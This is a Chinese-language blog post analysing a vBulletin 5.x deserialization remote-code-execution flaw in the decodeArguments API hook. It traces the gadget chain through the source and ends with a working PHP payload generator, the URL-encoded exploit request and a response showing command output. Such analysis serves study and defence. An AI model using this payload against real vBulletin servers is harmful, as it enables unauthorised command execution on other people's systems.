

这漏洞是我在分析 vBulletin5.X前台RCE (CVE-2019-16759) 时，无意间搜到的，就顺便学习下。

这里我不会再赘述环境的搭建，因为在上篇分析文章中已经提过了，具体可参考 [vBulletin5.X前台RCE分析（CVE-2019-16759）](#)，本文的测试环境仍为 Ubuntu16.04+Apache+PHP 5.6.40+vBulletin5.1.4。

漏洞分析

我们先来看下本次漏洞的 EXP，可以发现其存在反序列化字符串，估计是个 反序列化->代码执行 的攻击链。

```
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=0%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%2200%2A%00db%22%3B0%3A17
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
```

接下来，我们直接从入口文件开始跟进。在下图 第38行 处下断点，当我们直接单步跳过时，会发现代码执行漏洞被触发了，说明漏洞代码应该在 `vB5_Frontend_ApplicationLight` 类的 `execute` 方法中。在 `execute` 方法的上一行，程序会根据 `$_REQUEST['routestring']` 来决定之后调用 `vB5_Frontend_ApplicationLight` 类的哪个方法，具体代码如下图所示。

```

vBulletin514/index.php
31 require_once('includes/vb5/autoloader.php');
32 vB5_Autoloader::register(dirname(__FILE__));
33
34 //For a few set routes we can run a streamlined function.
35 if (vB5_Frontend_ApplicationLight::isQuickRoute())
36 {
37     $app = vB5_Frontend_ApplicationLight::init('config.php');
38     if ($app->execute())
39     {
40         exit();
41     }
42 }

```

漏洞会在execute方法中触发

```

vBulletin514/includes/vb5/frontend/applicationlight.php
21 class vB5_Frontend_ApplicationLight extends vB5_ApplicationAbstract
22 {
23     public static function init($configFile)
24     {
25         self::$instance = new vB5_Frontend_ApplicationLight();
26     }
27     protected function __construct()
28     {
29         if (substr($_REQUEST['routestring'], 0, 8) == 'ajax/api')
30         {
31             $this->application = array('handler' => 'handleAjaxApi', 'static' => false);
32             return true;
33         }
34     }
35 }
592 }

```

```

163 public function execute()
164 {
165     $serverData = array_merge($_GET, $_POST);
166     if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
167     {
168         $app = $this->application['handler'];
169         call_user_func(array($this, $app));
170         return true;
171     }
172 }

```

\$this->application['handler'] = "handleAjaxApi"

由于我们的 `$REQUEST['routestring']` 是 `ajax/api/hook/decodeArguments`，程序就会调用 `vB5_Frontend_ApplicationLight` 类的 `handleAjaxApi` 方法。然后经过一系列反射调用，就进入了 `vB_Api_Hook` 类的 `decodeArguments` 方法。



在 decodeArguments 方法中，我们看到了之前 GET 方式传进来的数据被反序列化了，这就存在实例化任意类问题。程序还对反序列化后的数据进行了迭代，而当对一个继承了 Iterator 接口的类对象进行迭代时，会触发其 rewind 方法。



我们可以搜寻可利用的 rewind 方法，这里以 vB_dB_Result 类的 rewind 为例。当我们设置了 \$this->recordset 属性的时候，就会调用 \$this->db 类的 free_result 方法。我们继续搜 free_result 方法，会发现 vB_Database 类的 free_result 方法可以动态调用任意函数，且参数也可控。由于 vB_Database 类是一个抽象类，所以我们只要找到其继承类即可开始构造 EXP。

```
vBulletin514/core/vb/db/result.php
19 class vB_dB_Result implements Iterator
20 {
107 public function rewind()
108 {
115     if ($this->recordset)
116     {
117         $this->db->free_result($this->recordset); $this->recordset可控
118     }
150 }
189 }

vBulletin514/core/vb/database.php
22 abstract class vB_Database
23 {
911 function free_result($queryresult)
912 {
913     $this->sql = '';
914     return @$this->functions['free_result']($queryresult); 可控参数&动态调用
915 }
1444 }
```

Find in Path ☐ Match case ☐ Words ☐ Regex ☒ File mask: *.php 7 matches in 5 files

| In Project | Module | Directory | Scope |
|------------|----------------------------------|----------------------------|----------------------------|
| | class vB_Database_Explain | extends vB_Database | class_database_explain 18 |
| | class vB_Database_MySQLi_Explain | extends vB_Database_MySQLi | class_database_explain 181 |
| | class vB_Database_MySQLi | extends vB_Database | mysql 24 |
| | class vB_Database_MySQL | extends vB_Database | database/mysql 24 |
| | class vB_Database_Alter_MySQL | extends vB_Database_Alter | class_dbalter 332 |
| | class vB_Database_Slave | extends vB_Database | class_database_slave 25 |
| | class vB_Database_Slave_MySQLi | extends vB_Database_MySQLi | class_database_slave 138 |

最终 EXP 构造如下：

```
<?php

class vB_Database_MySQLi
{
    var $functions = array();
    public function __construct($functions = '')
    {
        $this->functions['free_result'] = $functions;
    }
}

class vB_dB_Result
{
    protected $db = false;
    protected $recordset = false;
    public function __construct($db='', $recordset='')
    {
        $this->db = $db;
        $this->recordset = $recordset;
    }
}

$vb_database_mysql = new vB_Database_MySQLi('system');
$vb_db_result = new vB_dB_Result($vb_database_mysql, 'id');
echo urlencode(serialize($vb_db_result));
```

Request

Raw

Params

Headers

Hex

GET
vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_db_Re
sult%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A18%3A%22vB_D
atabase_MySQLi%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7
Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A
12%3A%22%00%2A%00recordset%22%3Bs%3A2%3A%22id%22%3B%7D HTTP/1.1
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

Response

Raw

Headers

Hex

HTTP/1.1 200 OK
Date: Mon, 07 Oct 2019 11:58:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: bbsessionhash=7a1a05bd4edc82fbe0d0147dca326368; path=/; httponly
Set-Cookie: bblastvisit=1570449535; path=/; httponly
Set-Cookie: bblastactivity=1570449535; path=/; httponly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Mon, 07 Oct 2019 11:58:55 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 176
Connection: close
Content-Type: application/json; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
{\"errors\":[[\"There has been a database error, and the current page cannot be displayed. Site
staff have been notified.\"]]}
先知社区

参考

[vBulletin 5 全版本远程代码执行漏洞分析](#)

[Check Point Discovers Critical vBulletin 0-Day](#)

点击收藏 | 0 关注 | 1

[上一篇：Pluck CMS 4.7.10 ...](#) [下一篇：House-Of-Roman学习笔记](#)

1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)